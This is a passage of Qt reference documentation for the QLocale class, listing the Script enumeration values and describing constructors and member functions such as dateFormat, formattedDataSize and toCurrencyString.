 **See also** [quoteString](qlocale#quoteString)().

 ### enum QLocale::Script

 This enumerated type is used to specify a script.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QLocale::AnyScript` | `0` |  |
| `QLocale::AdlamScript` | `1` | Since Qt 5.7 |
| `QLocale::AhomScript` | `2` | Since Qt 5.7 |
| `QLocale::AnatolianHieroglyphsScript` | `3` | Since Qt 5.7 |
| `QLocale::ArabicScript` | `4` |  |
| `QLocale::ArmenianScript` | `5` |  |
| `QLocale::AvestanScript` | `6` | Since Qt 5.1 |
| `QLocale::BalineseScript` | `7` | Since Qt 5.1 |
| `QLocale::BamumScript` | `8` | Since Qt 5.1 |
| `QLocale::BanglaScript` | `9` | Since 6.0 |
| `QLocale::BassaVahScript` | `10` | Since Qt 5.5 |
| `QLocale::BatakScript` | `11` | Since Qt 5.1 |
| `QLocale::BengaliScript` | `BanglaScript` | Obsolete, please use BanglaScript |
| `QLocale::BhaiksukiScript` | `12` | Since Qt 5.7 |
| `QLocale::BopomofoScript` | `13` | Since Qt 5.1 |
| `QLocale::BrahmiScript` | `14` | Since Qt 5.1 |
| `QLocale::BrailleScript` | `15` | Since Qt 5.1 |
| `QLocale::BugineseScript` | `16` | Since Qt 5.1 |
| `QLocale::BuhidScript` | `17` | Since Qt 5.1 |
| `QLocale::CanadianAboriginalScript` | `18` | Since Qt 5.1 |
| `QLocale::CarianScript` | `19` | Since Qt 5.1 |
| `QLocale::CaucasianAlbanianScript` | `20` | Since Qt 5.5 |
| `QLocale::ChakmaScript` | `21` | Since Qt 5.1 |
| `QLocale::ChamScript` | `22` | Since Qt 5.1 |
| `QLocale::CherokeeScript` | `23` |  |
| `QLocale::CopticScript` | `24` | Since Qt 5.1 |
| `QLocale::CuneiformScript` | `25` | Since Qt 5.1 |
| `QLocale::CypriotScript` | `26` | Since Qt 5.1 |
| `QLocale::CyrillicScript` | `27` |  |
| `QLocale::DeseretScript` | `28` | Since Qt 5.1 |
| `QLocale::DevanagariScript` | `29` |  |
| `QLocale::DuployanScript` | `30` | Since Qt 5.5 |
| `QLocale::EgyptianHieroglyphsScript` | `31` | Since Qt 5.1 |
| `QLocale::ElbasanScript` | `32` | Since Qt 5.5 |
| `QLocale::EthiopicScript` | `33` |  |
| `QLocale::FraserScript` | `34` | Since Qt 5.1 |
| `QLocale::GeorgianScript` | `35` |  |
| `QLocale::GlagoliticScript` | `36` | Since Qt 5.1 |
| `QLocale::GothicScript` | `37` | Since Qt 5.1 |
| `QLocale::GranthaScript` | `38` | Since Qt 5.5 |
| `QLocale::GreekScript` | `39` |  |
| `QLocale::GujaratiScript` | `40` |  |
| `QLocale::GurmukhiScript` | `41` |  |
| `QLocale::HangulScript` | `42` | Since Qt 5.1 |
| `QLocale::HanScript` | `43` | Since Qt 5.1 |
| `QLocale::HanunooScript` | `44` | Since Qt 5.1 |
| `QLocale::HanWithBopomofoScript` | `45` | Since Qt 5.7 |
| `QLocale::HatranScript` | `46` | Since Qt 5.7 |
| `QLocale::HebrewScript` | `47` |  |
| `QLocale::HiraganaScript` | `48` | Since Qt 5.1 |
| `QLocale::ImperialAramaicScript` | `49` | Since Qt 5.1 |
| `QLocale::InscriptionalPahlaviScript` | `50` | Since Qt 5.1 |
| `QLocale::InscriptionalParthianScript` | `51` | Since Qt 5.1 |
| `QLocale::JamoScript` | `52` | Since Qt 5.7 |
| `QLocale::JapaneseScript` | `53` |  |
| `QLocale::JavaneseScript` | `54` | Since Qt 5.1 |
| `QLocale::KaithiScript` | `55` | Since Qt 5.1 |
| `QLocale::KannadaScript` | `56` |  |
| `QLocale::KatakanaScript` | `57` | Since Qt 5.1 |
| `QLocale::KayahLiScript` | `58` | Since Qt 5.1 |
| `QLocale::KharoshthiScript` | `59` | Since Qt 5.1 |
| `QLocale::KhmerScript` | `60` | Since Qt 5.1 |
| `QLocale::KhojkiScript` | `61` | Since Qt 5.5 |
| `QLocale::KhudawadiScript` | `62` | Since Qt 5.5 |
| `QLocale::KoreanScript` | `63` |  |
| `QLocale::LannaScript` | `64` | Since Qt 5.1 |
| `QLocale::LaoScript` | `65` |  |
| `QLocale::LatinScript` | `66` |  |
| `QLocale::LepchaScript` | `67` | Since Qt 5.1 |
| `QLocale::LimbuScript` | `68` | Since Qt 5.1 |
| `QLocale::LinearAScript` | `69` | Since Qt 5.5 |
| `QLocale::LinearBScript` | `70` | Since Qt 5.1 |
| `QLocale::LycianScript` | `71` | Since Qt 5.1 |
| `QLocale::LydianScript` | `72` | Since Qt 5.1 |
| `QLocale::MahajaniScript` | `73` | Since Qt 5.5 |
| `QLocale::MalayalamScript` | `74` |  |
| `QLocale::MandaeanScript` | `75` | Since Qt 5.1 |
| `QLocale::ManichaeanScript` | `76` | Since Qt 5.5 |
| `QLocale::MarchenScript` | `77` | Since Qt 5.7 |
| `QLocale::MeiteiMayekScript` | `78` | Since Qt 5.1 |
| `QLocale::MendeScript` | `79` | Since Qt 6.0 |
| `QLocale::MendeKikakuiScript` | `MendeScript` | Obsolete, please use MendeScript |
| `QLocale::MeroiticCursiveScript` | `80` | Since Qt 5.1 |
| `QLocale::MeroiticScript` | `81` | Since Qt 5.1 |
| `QLocale::ModiScript` | `82` | Since Qt 5.5 |
| `QLocale::MongolianScript` | `83` |  |
| `QLocale::MroScript` | `84` | Since Qt 5.5 |
| `QLocale::MultaniScript` | `85` | Since Qt 5.7 |
| `QLocale::MyanmarScript` | `86` |  |
| `QLocale::NabataeanScript` | `87` | Since Qt 5.5 |
| `QLocale::NewaScript` | `88` | Since Qt 5.7 |
| `QLocale::NewTaiLueScript` | `89` | Since Qt 5.1 |
| `QLocale::NkoScript` | `90` | Since Qt 5.1 |
| `QLocale::OghamScript` | `92` | Since Qt 5.1 |
| `QLocale::OlChikiScript` | `93` | Since Qt 5.1 |
| `QLocale::OldHungarianScript` | `94` | Since Qt 5.7 |
| `QLocale::OldItalicScript` | `95` | Since Qt 5.1 |
| `QLocale::OldNorthArabianScript` | `96` | Since Qt 5.5 |
| `QLocale::OldPermicScript` | `97` | Since Qt 5.5 |
| `QLocale::OldPersianScript` | `98` | Since Qt 5.1 |
| `QLocale::OldSouthArabianScript` | `99` | Since Qt 5.1 |
| `QLocale::OdiaScript` | `91` | Since 6.0 |
| `QLocale::OriyaScript` | `OdiaScript` | Obsolete, please use OdiaScript |
| `QLocale::OrkhonScript` | `100` | Since Qt 5.1 |
| `QLocale::OsageScript` | `101` | Since Qt 5.7 |
| `QLocale::OsmanyaScript` | `102` | Since Qt 5.1 |
| `QLocale::PahawhHmongScript` | `103` | Since Qt 5.5 |
| `QLocale::PalmyreneScript` | `104` | Since Qt 5.5 |
| `QLocale::PauCinHauScript` | `105` | Since Qt 5.5 |
| `QLocale::PhagsPaScript` | `106` | Since Qt 5.1 |
| `QLocale::PhoenicianScript` | `107` | Since Qt 5.1 |
| `QLocale::PollardPhoneticScript` | `108` | Since Qt 5.1 |
| `QLocale::PsalterPahlaviScript` | `109` | Since Qt 5.5 |
| `QLocale::RejangScript` | `110` | Since Qt 5.1 |
| `QLocale::RunicScript` | `111` | Since Qt 5.1 |
| `QLocale::SamaritanScript` | `112` | Since Qt 5.1 |
| `QLocale::SaurashtraScript` | `113` | Since Qt 5.1 |
| `QLocale::SharadaScript` | `114` | Since Qt 5.1 |
| `QLocale::ShavianScript` | `115` | Since Qt 5.1 |
| `QLocale::SiddhamScript` | `116` | Since Qt 5.5 |
| `QLocale::SignWritingScript` | `117` | Since Qt 5.7 |
| `QLocale::SimplifiedChineseScript` | `SimplifiedHanScript` | same as SimplifiedHanScript |
| `QLocale::SimplifiedHanScript` | `118` | same as SimplifiedChineseScript |
| `QLocale::SinhalaScript` | `119` |  |
| `QLocale::SoraSompengScript` | `120` | Since Qt 5.1 |
| `QLocale::SundaneseScript` | `121` | Since Qt 5.1 |
| `QLocale::SylotiNagriScript` | `122` | Since Qt 5.1 |
| `QLocale::SyriacScript` | `123` |  |
| `QLocale::TagalogScript` | `124` | Since Qt 5.1 |
| `QLocale::TagbanwaScript` | `125` | Since Qt 5.1 |
| `QLocale::TaiLeScript` | `126` | Since Qt 5.1 |
| `QLocale::TaiVietScript` | `127` | Since Qt 5.1 |
| `QLocale::TakriScript` | `128` | Since Qt 5.1 |
| `QLocale::TamilScript` | `129` |  |
| `QLocale::TangutScript` | `130` | Since Qt 5.7 |
| `QLocale::TeluguScript` | `131` |  |
| `QLocale::ThaanaScript` | `132` |  |
| `QLocale::ThaiScript` | `133` |  |
| `QLocale::TibetanScript` | `134` |  |
| `QLocale::TifinaghScript` | `135` |  |
| `QLocale::TirhutaScript` | `136` | Since Qt 5.5 |
| `QLocale::TraditionalChineseScript` | `TraditionalHanScript` | same as TraditionalHanScript |
| `QLocale::TraditionalHanScript` | `137` | same as TraditionalChineseScript |
| `QLocale::UgariticScript` | `138` | Since Qt 5.1 |
| `QLocale::VaiScript` | `139` |  |
| `QLocale::VarangKshitiScript` | `140` | Since Qt 5.5 |
| `QLocale::YiScript` | `141` |  |

 **See also** [script](qlocale#script)(), [scriptToString](qlocale#scriptToString)(), and [languageToString](qlocale#languageToString)().

 ### 
`[alias]` QLocale::Territory

 This enumeration type is an alias for [Country](qlocale#Country-enum), which shall be renamed to Territory at a future release.

 **See also** [territory](qlocale#territory)() and [territoryToString](qlocale#territoryToString)().

 Member Function Documentation
-----------------------------

 ### QLocale::QLocale(const [QLocale](qlocale#QLocale) &*other*)

 Constructs a QLocale object as a copy of *other*.

 ### QLocale::QLocale([QLocale::Language](qlocale#Language-enum) *language*, [QLocale::Script](qlocale#Script-enum) *script* = AnyScript, QLocale::Territory *territory* = AnyTerritory)

 Constructs a QLocale object for the specified *language*, *script* and *territory*.

 If QLocale does not have data for the given combination, it will find data for as good a match as it can. It falls back on the default locale if

 * *language* is `AnyLanguage` and no language can be inferred from *script* and *territory*
* QLocale has no data for the language, either given as *language* or inferred as above.

 **See also** [setDefault](qlocale#setDefault)() and [Matching combinations of language, script and territory](qlocale#matching-combinations-of-language-script-and-territory).

 ### QLocale::QLocale([QLocale::Language](qlocale#Language-enum) *language*, QLocale::Territory *territory*)

 Constructs a QLocale object for the specified *language* and *territory*.

 If there is more than one script in use for this combination, a likely script will be selected. If QLocale has no data for the specified *language*, the default locale is used. If QLocale has no data for the specified combination of *language* and *territory*, an alternative territory may be used instead.

 **See also** [setDefault](qlocale#setDefault)() and [Matching combinations of language, script and territory](qlocale#matching-combinations-of-language-script-and-territory).

 ### QLocale::QLocale(const [QString](qstring) &*name*)

 Constructs a QLocale object with the specified *name*, which has the format "language[\_script][\_territory][.codeset][@modifier]" or "C", where:

 * language is a lowercase, two-letter, ISO 639 language code (some three-letter codes are also recognized),
* script is a capitalized, four-letter, ISO 15924 script code,
* territory is an uppercase, two-letter, ISO 3166 territory code (some numeric codes are also recognized), and
* codeset and modifier are ignored.

 The separator can be either underscore `'_'` (U+005F, "low line") or a dash `'-'` (U+002D, "hyphen-minus"). If QLocale has no data for the specified combination of language, script, and territory, then it uses the most suitable match it can find instead. If the string violates the locale format, or no suitable data can be found for the specified keys, the "C" locale is used instead.

 This constructor is much slower than QLocale(Language, Script, Territory) or QLocale(Language, Territory).

 **See also** [bcp47Name](qlocale#bcp47Name)() and [Matching combinations of language, script and territory](qlocale#matching-combinations-of-language-script-and-territory).

 ### QLocale::QLocale()

 Constructs a QLocale object initialized with the default locale.

 If no default locale was set using [setDefault](qlocale#setDefault)(), this locale will be the same as the one returned by [system](qlocale#system)().

 **See also** [setDefault](qlocale#setDefault)().

 ### 
[QLocale](qlocale#QLocale) &QLocale::operator=(const [QLocale](qlocale#QLocale) &*other*)

 Assigns *other* to this [QLocale](qlocale) object and returns a reference to this [QLocale](qlocale) object.

 ### QLocale::~QLocale()

 Destructor

 ### 
[QString](qstring) QLocale::amText() const

 Returns the localized name of the "AM" suffix for times specified using the conventions of the 12-hour clock.

 **See also** [pmText](qlocale#pmText)().

 ### 
[QString](qstring) QLocale::bcp47Name() const

 Returns the dash-separated language, script and country (and possibly other BCP47 fields) of this locale as a string.

 Unlike the [uiLanguages](qlocale#uiLanguages)() the returned value of the bcp47Name() represents the locale name of the [QLocale](qlocale) data but not the language the user-interface should be in.

 This function tries to conform the locale name to BCP47.

 **See also** [language](qlocale#language)(), [territory](qlocale#territory)(), [script](qlocale#script)(), and [uiLanguages](qlocale#uiLanguages)().

 ### 
`[static]` [QLocale](qlocale#QLocale) QLocale::c()

 Returns a [QLocale](qlocale) object initialized to the "C" locale.

 This locale is based on en\_US but with various quirks of its own, such as simplified number formatting and its own date formatting. It implements the POSIX standards that describe the behavior of standard library functions of the "C" programming language.

 Among other things, this means its collation order is based on the ASCII values of letters, so that (for case-sensitive sorting) all upper-case letters sort before any lower-case one (rather than each letter's upper- and lower-case forms sorting adjacent to one another, before the next letter's two forms).

 **See also** [system](qlocale#system)().

 ### 
`[static, since 6.1]` [QLocale::Language](qlocale#Language-enum) QLocale::codeToLanguage([QStringView](qstringview) *languageCode*)

 Returns the [QLocale::Language](qlocale#Language-enum) enum corresponding to the two- or three-letter *languageCode*, as defined in the ISO 639 standards.

 If the code is invalid or not known [QLocale::AnyLanguage](qlocale#Language-enum) is returned.

 This function was introduced in Qt 6.1.

 **See also** [languageToCode](qlocale#languageToCode)(), [codeToTerritory](qlocale#codeToTerritory)(), and [codeToScript](qlocale#codeToScript)().

 ### 
`[static, since 6.1]` [QLocale::Script](qlocale#Script-enum) QLocale::codeToScript([QStringView](qstringview) *scriptCode*)

 Returns the [QLocale::Script](qlocale#Script-enum) enum corresponding to the four-letter script *scriptCode*, as defined in the ISO 15924 standard.

 If the code is invalid or not known [QLocale::AnyScript](qlocale#Script-enum) is returned.

 This function was introduced in Qt 6.1.

 **See also** [scriptToCode](qlocale#scriptToCode)(), [codeToLanguage](qlocale#codeToLanguage)(), and [codeToTerritory](qlocale#codeToTerritory)().

 ### 
`[static, since 6.2]` QLocale::Territory QLocale::codeToTerritory([QStringView](qstringview) *territoryCode*)

 Returns the QLocale::Territory enum corresponding to the two-letter or three-digit *territoryCode*, as defined in the ISO 3166 standard.

 If the code is invalid or not known [QLocale::AnyTerritory](qlocale#Country-enum) is returned.

 This function was introduced in Qt 6.2.

 **See also** [territoryToCode](qlocale#territoryToCode)(), [codeToLanguage](qlocale#codeToLanguage)(), and [codeToScript](qlocale#codeToScript)().

 ### 
`[since 5.13]` [QLocale](qlocale#QLocale) QLocale::collation() const

 Returns the locale to use for collation.

 The result is usually this locale; however, the system locale (which is commonly the default locale) will return the system collation locale. The result is suitable for passing to [QCollator](qcollator)'s constructor.

 This function was introduced in Qt 5.13.

 **See also** [QCollator](qcollator).

 ### 
[QString](qstring) QLocale::createSeparatedList(const [QStringList](qstringlist) &*list*) const

 Returns a string that represents a join of a given *list* of strings with a separator defined by the locale.

 ### 
[QString](qstring) QLocale::currencySymbol([QLocale::CurrencySymbolFormat](qlocale#CurrencySymbolFormat-enum) *format* = CurrencySymbol) const

 Returns a currency symbol according to the *format*.

 ### 
[QString](qstring) QLocale::dateFormat([QLocale::FormatType](qlocale#FormatType-enum) *format* = LongFormat) const

 Returns the date format used for the current locale.

 If *format* is [LongFormat](qlocale#FormatType-enum), the format will be elaborate, otherwise it will be short. For example, [LongFormat](qlocale#FormatType-enum) for the `en_US` locale is `dddd, MMMM d, yyyy`, [ShortFormat](qlocale#FormatType-enum) is `M/d/yy`.

 **See also** [QDate::toString](qdate#toString)() and [QDate::fromString](qdate#fromString)().

 ### 
[QString](qstring) QLocale::dateTimeFormat([QLocale::FormatType](qlocale#FormatType-enum) *format* = LongFormat) const

 Returns the date time format used for the current locale.

 If *format* is [LongFormat](qlocale#FormatType-enum), the format will be elaborate, otherwise it will be short. For example, [LongFormat](qlocale#FormatType-enum) for the `en_US` locale is `dddd, MMMM d, yyyy h:mm:ss AP t`, [ShortFormat](qlocale#FormatType-enum) is `M/d/yy h:mm AP`.

 **See also** [QDateTime::toString](qdatetime#toString)() and [QDateTime::fromString](qdatetime#fromString)().

 ### 
[QString](qstring) QLocale::dayName(int *day*, [QLocale::FormatType](qlocale#FormatType-enum) *type* = LongFormat) const

 Returns the localized name of the *day* (where 1 represents Monday, 2 represents Tuesday and so on), in the format specified by *type*.

 For example, if the locale is `en_US` and *day* is 1, [LongFormat](qlocale#FormatType-enum) will return `Monday`, [ShortFormat](qlocale#FormatType-enum) `Mon`, and [NarrowFormat](qlocale#FormatType-enum) `M`.

 **See also** [monthName](qlocale#monthName)() and [standaloneDayName](qlocale#standaloneDayName)().

 ### 
[QString](qstring) QLocale::decimalPoint() const

 Returns the decimal point character of this locale.

 **See also** [groupSeparator](qlocale#groupSeparator)() and [toString](qlocale#toString)().

 ### 
[QString](qstring) QLocale::exponential() const

 Returns the exponential character of this locale, used to separate exponent from mantissa in some floating-point numeric representations.

 **See also** [toString](qlocale#toString-8)(double, char, int).

 ### 
[Qt::DayOfWeek](qt#DayOfWeek-enum) QLocale::firstDayOfWeek() const

 Returns the first day of the week according to the current locale.

 ### 
`[since 5.10]` [QString](qstring) QLocale::formattedDataSize([qint64](qtglobal#qint64-typedef) *bytes*, int *precision* = 2, [QLocale::DataSizeFormats](qlocale#DataSizeFormat-enum) *format* = DataSizeIecFormat) const

 Converts a size in bytes to a human-readable localized string, comprising a number and a quantified unit. The quantifier is chosen such that the number is at least one, and as small as possible. For example if *bytes* is 16384, *precision* is 2, and *format* is [DataSizeIecFormat](qlocale#DataSizeFormat-enum) (the default), this function returns "16.00 KiB"; for 1330409069609 bytes it returns "1.21 GiB"; and so on. If *format* is [DataSizeIecFormat](qlocale#DataSizeFormat-enum) or [DataSizeTraditionalFormat](qlocale#DataSizeFormat-enum), the given number of bytes is divided by a power of 1024, with result less than 1024; for [DataSizeSIFormat](qlocale#DataSizeFormat-enum), it is divided by a power of 1000, with result less than 1000. `DataSizeIecFormat` uses the new IEC standard quantifiers Ki, Mi and so on, whereas `DataSizeSIFormat` uses the older SI quantifiers k, M, etc., and `DataSizeTraditionalFormat` abuses them.

 This function was introduced in Qt 5.10.

 ### 
[QString](qstring) QLocale::groupSeparator() const

 Returns the group separator character of this locale.

 **See also** [decimalPoint](qlocale#decimalPoint)() and [toString](qlocale#toString)().

 ### 
[QLocale::Language](qlocale#Language-enum) QLocale::language() const

 Returns the language of this locale.

 **See also** [script](qlocale#script)(), [territory](qlocale#territory)(), [languageToString](qlocale#languageToString)(), and [bcp47Name](qlocale#bcp47Name)().

 ### 
`[static, since 6.1]` [QString](qstring) QLocale::languageToCode([QLocale::Language](qlocale#Language-enum) *language*)

 Returns the two- or three-letter language code for *language*, as defined in the ISO 639 standards.

  **Note:** For `QLocale::C` the function returns `"C"`. For `QLocale::AnyLanguage` an empty string is returned.

  This function was introduced in Qt 6.1.

 **See also** [codeToLanguage](qlocale#codeToLanguage)(), [language](qlocale#language)(), [name](qlocale#name)(), [bcp47Name](qlocale#bcp47Name)(), [territoryToCode](qlocale#territoryToCode)(), and [scriptToCode](qlocale#scriptToCode)().

 ### 
`[static]` [QString](qstring) QLocale::languageToString([QLocale::Language](qlocale#Language-enum) *language*)

 Returns a [QString](qstring) containing the name of *language*.

 **See also** [territoryToString](qlocale#territoryToString)(), [scriptToString](qlocale#scriptToString)(), and [bcp47Name](qlocale#bcp47Name)().

 ### 
`[static]` [QList](qlist)<[QLocale](qlocale#QLocale)> QLocale::matchingLocales([QLocale::Language](qlocale#Language-enum) *language*, [QLocale::Script](qlocale#Script-enum) *script*, QLocale::Territory *territory*)

 Returns a list of valid locale objects that match the given *language*, *script* and *territory*.

 Getting a list of all locales: [QList](qlist)<[QLocale](qlocale)> allLocales = QLocale::matchingLocales([QLocale::AnyLanguage](qlocale#Language-enum), [QLocale::AnyScript](qlocale#Script-enum), [QLocale::AnyTerritory](qlocale#Country-enum));

 Getting a list of locales suitable for Russia: [QList](qlist)<[QLocale](qlocale)> locales = QLocale::matchingLocales([QLocale::AnyLanguage](qlocale#Language-enum), [QLocale::AnyScript](qlocale#Script-enum), [QLocale::Russia](qlocale#Country-enum));

 ### 
[QLocale::MeasurementSystem](qlocale#MeasurementSystem-enum) QLocale::measurementSystem() const

 Returns the measurement system for the locale.

 ### 
[QString](qstring) QLocale::monthName(int *month*, [QLocale::FormatType](qlocale#FormatType-enum) *type* = LongFormat) const

 Returns the localized name of *month*, in the format specified by *type*.

 For example, if the locale is `en_US` and *month* is 1, [LongFormat](qlocale#FormatType-enum) will return `January`. [ShortFormat](qlocale#FormatType-enum) `Jan`, and [NarrowFormat](qlocale#FormatType-enum) `J`.

 **See also** [dayName](qlocale#dayName)() and [standaloneMonthName](qlocale#standaloneMonthName)().

 ### 
[QString](qstring) QLocale::name() const

 Returns the language and country of this locale as a string of the form "language\_country", where language is a lowercase, two-letter ISO 639 language code, and country is an uppercase, two- or three-letter ISO 3166 country code.

 Note that even if [QLocale](qlocale) object was constructed with an explicit script, name() will not contain it for compatibility reasons. Use [bcp47Name](qlocale#bcp47Name)() instead if you need a full locale name.

 **See also** [QLocale](qlocale#QLocale)(), [language](qlocale#language)(), [script](qlocale#script)(), [territory](qlocale#territory)(), and [bcp47Name](qlocale#bcp47Name)().

 ### 
[QString](qstring) QLocale::nativeLanguageName() const

 Returns a native name of the language for the locale. For example "Schwiizertüütsch" for Swiss-German locale.

 **See also** [nativeTerritoryName](qlocale#nativeTerritoryName)() and [languageToString](qlocale#languageToString)().

 ### 
`[since 6.2]` [QString](qstring) QLocale::nativeTerritoryName() const

 Returns a native name of the territory for the locale. For example "España" for Spanish/Spain locale.

 This function was introduced in Qt 6.2.

 **See also** [nativeLanguageName](qlocale#nativeLanguageName)() and [territoryToString](qlocale#territoryToString)().

 ### 
[QString](qstring) QLocale::negativeSign() const

 Returns the negative sign character of this locale.

 **See also** [positiveSign](qlocale#positiveSign)() and [toString](qlocale#toString)().

 ### 
[QLocale::NumberOptions](qlocale#NumberOption-enum) QLocale::numberOptions() const

 Returns the options related to number conversions for this [QLocale](qlocale) instance.

 By default, no options are set for the standard locales, except for the "C" locale, which has [OmitGroupSeparator](qlocale#NumberOption-enum) set by default.

 **See also** [setNumberOptions](qlocale#setNumberOptions)(), [toString](qlocale#toString)(), [groupSeparator](qlocale#groupSeparator)(), and [FloatingPointPrecisionOption](qlocale#FloatingPointPrecisionOption-enum).

 ### 
[QString](qstring) QLocale::percent() const

 Returns the percent character of this locale.

 **See also** [toString](qlocale#toString)().

 ### 
[QString](qstring) QLocale::pmText() const

 Returns the localized name of the "PM" suffix for times specified using the conventions of the 12-hour clock.

 **See also** [amText](qlocale#amText)().

 ### 
[QString](qstring) QLocale::positiveSign() const

 Returns the positive sign character of this locale.

 **See also** [negativeSign](qlocale#negativeSign)() and [toString](qlocale#toString)().

 ### 
[QString](qstring) QLocale::quoteString(const [QString](qstring) &*str*, [QLocale::QuotationStyle](qlocale#QuotationStyle-enum) *style* = StandardQuotation) const

 Returns *str* quoted according to the current locale using the given quotation *style*.

 ### 
`[since 6.0]` [QString](qstring) QLocale::quoteString([QStringView](qstringview) *str*, [QLocale::QuotationStyle](qlocale#QuotationStyle-enum) *style* = StandardQuotation) const

 This is an overloaded function.

 This function was introduced in Qt 6.0.

 ### 
[QLocale::Script](qlocale#Script-enum) QLocale::script() const

 Returns the script of this locale.

 **See also** [language](qlocale#language)(), [territory](qlocale#territory)(), [languageToString](qlocale#languageToString)(), [scriptToString](qlocale#scriptToString)(), and [bcp47Name](qlocale#bcp47Name)().

 ### 
`[static, since 6.1]` [QString](qstring) QLocale::scriptToCode([QLocale::Script](qlocale#Script-enum) *script*)

 Returns the four-letter script code for *script*, as defined in the ISO 15924 standard.

  **Note:** For `QLocale::AnyScript` an empty string is returned.

  This function was introduced in Qt 6.1.

 **See also** [script](qlocale#script)(), [name](qlocale#name)(), [bcp47Name](qlocale#bcp47Name)(), [languageToCode](qlocale#languageToCode)(), and [territoryToCode](qlocale#territoryToCode)().

 ### 
`[static]` [QString](qstring) QLocale::scriptToString([QLocale::Script](qlocale#Script-enum) *script*)

 Returns a [QString](qstring) containing the name of *script*.

 **See also** [languageToString](qlocale#languageToString)(), [territoryToString](qlocale#territoryToString)(), [script](qlocale#script)(), and [bcp47Name](qlocale#bcp47Name)().

 ### 
`[static]` void QLocale::setDefault(const [QLocale](qlocale#QLocale) &*locale*)

 Sets the global default locale to *locale*. These values are used when a [QLocale](qlocale) object is constructed with no arguments. If this function is not called, the system's locale is used.

  **Warning:** In a multithreaded application, the default locale should be set at application startup, before any non-GUI threads are created.

  **Warning:** This function is not [reentrant](17-qdoc-commands-thread#reentrant).

 **See also** [system](qlocale#system)() and [c](qlocale#c)().

 ### 
void QLocale::setNumberOptions([QLocale::NumberOptions](qlocale#NumberOption-enum) *options*)

 Sets the *options* related to number conversions for this [QLocale](qlocale) instance.

 **See also** [numberOptions](qlocale#numberOptions)() and [FloatingPointPrecisionOption](qlocale#FloatingPointPrecisionOption-enum).

 ### 
[QString](qstring) QLocale::standaloneDayName(int *day*, [QLocale::FormatType](qlocale#FormatType-enum) *type* = LongFormat) const

 Returns the localized name of the *day* (where 1 represents Monday, 2 represents Tuesday and so on) that is used as a standalone text, in the format specified by *type*.

 If the locale information does not specify the standalone day name then return value is the same as in [dayName](qlocale#dayName)().

 **See also** [dayName](qlocale#dayName)() and [standaloneMonthName](qlocale#standaloneMonthName)().

 ### 
[QString](qstring) QLocale::standaloneMonthName(int *month*, [QLocale::FormatType](qlocale#FormatType-enum) *type* = LongFormat) const

 Returns the localized name of *month* that is used as a standalone text, in the format specified by *type*.

 If the locale information doesn't specify the standalone month name then return value is the same as in [monthName](qlocale#monthName)().

 **See also** [monthName](qlocale#monthName)() and [standaloneDayName](qlocale#standaloneDayName)().

 ### 
`[since 5.6]` void QLocale::swap([QLocale](qlocale#QLocale) &*other*)

 Swaps locale *other* with this locale. This operation is very fast and never fails.

 This function was introduced in Qt 5.6.

 ### 
`[static]` [QLocale](qlocale#QLocale) QLocale::system()

 Returns a [QLocale](qlocale) object initialized to the system locale.

 The system locale may use system-specific sources for locale data, where available, otherwise falling back on [QLocale](qlocale)'s built-in database entry for the language, script and territory the system reports.

 For example, on Windows and Mac, this locale will use the decimal/grouping characters and date/time formats specified in the system configuration panel.

 **See also** [c](qlocale#c)().

 ### 
`[since 6.2]` QLocale::Territory QLocale::territory() const

 Returns the territory of this locale.

 This function was introduced in Qt 6.2.

 **See also** [language](qlocale#language)(), [script](qlocale#script)(), [territoryToString](qlocale#territoryToString)(), and [bcp47Name](qlocale#bcp47Name)().

 ### 
`[static, since 6.2]` [QString](qstring) QLocale::territoryToCode(QLocale::Territory *territory*)

 Returns the two-letter territory code for *territory*, as defined in the ISO 3166 standard.

  **Note:** For `QLocale::AnyTerritory` an empty string is returned.

  This function was introduced in Qt 6.2.

 **See also** [codeToTerritory](qlocale#codeToTerritory)(), [territory](qlocale#territory)(), [name](qlocale#name)(), [bcp47Name](qlocale#bcp47Name)(), [languageToCode](qlocale#languageToCode)(), and [scriptToCode](qlocale#scriptToCode)().

 ### 
`[static, since 6.2]` [QString](qstring) QLocale::territoryToString(QLocale::Territory *territory*)

 Returns a [QString](qstring) containing the name of *territory*.

 This function was introduced in Qt 6.2.

 **See also** [languageToString](qlocale#languageToString)(), [scriptToString](qlocale#scriptToString)(), [territory](qlocale#territory)(), and [bcp47Name](qlocale#bcp47Name)().

 ### 
[Qt::LayoutDirection](qt#LayoutDirection-enum) QLocale::textDirection() const

 Returns the text direction of the language.

 ### 
[QString](qstring) QLocale::timeFormat([QLocale::FormatType](qlocale#FormatType-enum) *format* = LongFormat) const

 Returns the time format used for the current locale.

 If *format* is [LongFormat](qlocale#FormatType-enum), the format will be elaborate, otherwise it will be short. For example, [LongFormat](qlocale#FormatType-enum) for the `en_US` locale is `h:mm:ss AP t`, [ShortFormat](qlocale#FormatType-enum) is `h:mm AP`.

 **See also** [QTime::toString](qtime#toString)() and [QTime::fromString](qtime#fromString)().

 ### 
[QString](qstring) QLocale::toCurrencyString([qlonglong](qtglobal#qlonglong-typedef) *value*, const [QString](qstring) &*symbol* = QString()) const

 Returns a localized string representation of *value* as a currency. If the *symbol* is provided it is used instead of the default currency symbol.

 **See also** [currencySymbol](qlocale#currencySymbol)().

 ### 
[QString](qstring) QLocale::toCurrencyString([qulonglong](qtglobal#qulonglong-typedef) *value*, const [QString](qstring) &*symbol* = QString()) const

 This is an overloaded function.

 ### 
[QString](qstring) QLocale::toCurrencyString(short *value*, const [QString](qstring) &*symbol* = QString()) const

 This is an overloaded function.

 ### 
[QString](qstring) QLocale::toCurrencyString([ushort](qtglobal#ushort-typedef) *value*, const [QString](qstring) &*symbol* = QString()) const

 This is an overloaded function.

 ### 
[QString](qstring) QLocale::toCurrencyString(int *value*, const [QString](qstring) &*symbol* = QString()) const

 This is an overloaded function.

 ### 
[QString](qstring) QLocale::toCurrencyString([uint](qtglobal#uint-typedef) *value*, const [QString](qstring) &*symbol* = QString()) const

 This is an overloaded function.

 ### 
`[since 5.7]` [QString](qstring) QLocale::toCurrencyString(double *value*, const [QString](qstring) &*symbol* = QString(), int *precision* = -1) const

 This function overloads toCurrencyString().

 Returns a localized string representation of *value* as a currency. If the *symbol* is provided it is used instead of the default currency symbol. If the *precision* is provided it is used to set the precision of the currency value.

 This function was introduced in Qt 5.7.

 **See also** [currencySymbol](qlocale#currencySymbol)().

 ### 
[QString](qstring) QLocale::toCurrencyString(float *i*, const [QString](qstring) &*symbol* = QString(), int *precision* = -1) const

 This function overloads toCurrencyString().

 ### 
[QDate](qdate) QLocale::toDate(const [QString](qstring) &*string*, [QLocale::FormatType](qlocale#FormatType-enum) *format* = LongFormat) const

